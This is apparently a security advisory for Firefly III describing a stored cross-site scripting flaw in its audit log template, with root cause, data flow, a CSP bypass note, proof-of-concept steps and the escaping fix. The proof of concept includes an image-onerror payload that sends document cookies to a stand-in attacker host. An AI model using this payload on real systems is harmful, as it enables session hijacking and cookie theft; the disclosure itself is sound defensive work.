PT-2026-51366 · Packagist · Grumpydictator/Firefly-Iii
Published
2026-06-12
·
Updated
2026-06-12
CVSS v4.0
5.1
Medium
| Vector | AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N |
Summary
The Twig template
resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.Root Cause
The
|raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.Vulnerable code (
resources/views/list/ale.twig lines 107, 110):twig
{{ trans('firefly.ale action log add', {
amount: formatAmountBySymbol(...),
name: logEntry.after.piggy
})|raw }}No HTML sanitization at storage time —
PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy banks.name
→ Transaction rule fires add to piggy / remove from piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS firesCSP Note
The nonce-based CSP (
script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.PoC
- Authenticate as any user
POST /api/v1/piggy-bankswith"name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"- Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
- Trigger the rule on any transaction
- Visit
/transactions/show/{id}→ payload fires
Confirmed server response (v6.6.2):
html
Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"Impact
- Stored XSS persists in DB — fires for every user who views the transaction
- Cookie theft → session hijacking
- In multi-user setups: one user attacks another user or admin
- Chainable with CSRF-like operations
Fix
PR #12271 (merged into
develop): add |e to escape only the user-controlled name parameter.twig
{{ trans('firefly.ale action log add', {
amount: formatAmountBySymbol(...),
name: logEntry.after.piggy|e
})|raw }}Fix
XSS
Improper Encoding or Escaping of Output
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Related Identifiers
Affected Products
Grumpydictator/Firefly-Iii